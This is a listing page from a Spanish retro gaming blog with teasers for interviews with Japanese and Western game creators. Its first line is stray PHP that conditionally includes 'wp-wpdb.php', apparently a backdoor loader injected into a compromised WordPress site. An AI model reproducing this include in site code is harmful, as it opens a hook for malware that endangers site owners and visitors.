if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Entrevista – La Fortaleza de LeChuck

Tomohiro Nishikado, creador de Space Invaders y padre del videojuego japonés

Space Invaders ha cumplido 40 años. Se dice rápido, ¿eh? Quizá tú fuiste uno de los afortunados que lo disfrutaron en una máquina recreativa o, como yo, lo hiciste en una consola doméstica. El responsable del matamarcianos y su boom fue Tomohiro Nishikado, un ingeniero de sonido japonés con mucho ingenio. A lo largo de… Seguir leyendo Tomohiro Nishikado, creador de Space Invaders y padre del videojuego japonés

La historia de los arcade de Sega: los primeros años

Sega es una de esas compañías de videojuegos que nos han acompañado desde niños. Quienes tenemos cierta edad, disfrutamos de sus máquinas recreativas y vivimos aquella preciosa guerra Sega vs Nintendo. Sin embargo, la época previa a los arcades es todo un misterio para muchos jugadores. En esta entrevista extraída de Shmuplations, conoceremos de la mano… Seguir leyendo La historia de los arcade de Sega: los primeros años

Entrevista a Ayano Koshiro, diseñadora de Streets of Rage 2

Streets of Rage 2 es uno de los mejores juegos de MegaDrive. Sin embargo, pocos saben que detrás de las grandes ideas que introdujo este beat ‘em up había una mujer: Ayano Koshiro. En esta entrevista de Shmuplations conoceremos a la diseñadora que hizo brillar Streets of Rage 2. La historia muchas veces oculta el rostro de personalidades que… Seguir leyendo Entrevista a Ayano Koshiro, diseñadora de Streets of Rage 2

[20 años de Resident Evil 2] Entrevista de 1998 a Kamiya y Sugimura

Resident Evil 2 ha cumplido 20 años. La segunda entrega de la popular franquicia de Capcom es una de las favoritas de los fans, y no es para menos teniendo detrás a Kamiya como director y a Sugimura en el puesto de guionista. Para conocer los secretos y curiosidades del desarrollo de Resident Evil 2,… Seguir leyendo [20 años de Resident Evil 2] Entrevista de 1998 a Kamiya y Sugimura

Final Fantasy VI: Entrevista de 1994 al equipo de desarrollo (I)

¿Qué os puedo decir de Final Fantasy VI que no haya comentado ya? Pues que posiblemente sea el juego más profundo y con los mejores personajes que ha visto la saga. Un título brillante que en occidente fue maltratado hasta que, años después, pasó a ser reconocido como el maravilloso juego que es. En esta… Seguir leyendo Final Fantasy VI: Entrevista de 1994 al equipo de desarrollo (I)

The Women of Game Design: entrevista a diseñadoras japonesas en los 90

La industria japonesa del videojuego siempre ha contado con un buen número de mujeres entre sus filas que han aportado su granito de arena en el desarrollo de grandes títulos. Muchos nombres han quedado en la sombra, pero gracias a entrevistas como la de hoy descubrimos un poco más sobre las diseñadoras detrás de algunos juegos. Queremos… Seguir leyendo The Women of Game Design: entrevista a diseñadoras japonesas en los 90

[30 aniversario de Zelda] Entrevista a Miyamoto de 1994

Ayer, 21 de febrero de 2016, The Legend of Zelda (Zeruda no Densetsu) cumplió 30 años desde su lanzamiento en Famicom Disk System. En todos estos años, la saga Zelda se ha convertido en una de las más queridas, y tanto niños como adultos siguen disfrutando de las aventuras de Link por Hyrule. Para celebrar el 30 aniversario de… Seguir leyendo [30 aniversario de Zelda] Entrevista a Miyamoto de 1994

[25 aniversario de Monkey Island] Entrevista a Ron Gilbert

Aventureros del mundo, han pasado 25 años desde el nacimiento de Monkey Island, una de las aventuras gráficas que cambió nuestra forma de ver los juegos de ordenador. Vamos a conocer algunos de sus secretos y anécdotas a través de su creador, Ron Gilbert. LeChuck, Elaine, Guybrush, el mono de 3 cabezas… Ha pasado mucho… Seguir leyendo [25 aniversario de Monkey Island] Entrevista a Ron Gilbert

Entrevista a Yoko Shimomura, compositora de Street Fighter 2

Adoro la música de videojuegos, sabe dios, mis padres y el vecino que es así. Mi pasión llega hasta el punto de que el 80% de lo que escucho hoy en día es música de videojuegos. El documental Diggin’ in the Carts ha sido como un regalo para mis oídos y también un viaje al pasado para redescubrir… Seguir leyendo Entrevista a Yoko Shimomura, compositora de Street Fighter 2

Entrevista a Katouda, un coleccionista retro nipón

Hoy iniciamos una nueva sección que espero que dure mucho tiempo, ¡entrevistas! Pero no de las que estáis habituados a leer sobre compañías y gente popular del mundillo. Nos centraremos principalmente en gente cercana y de otras culturas para conocer su punto de vista sobre diferentes cuestiones y cómo viven su pasión por los videojuegos.… Seguir leyendo Entrevista a Katouda, un coleccionista retro nipón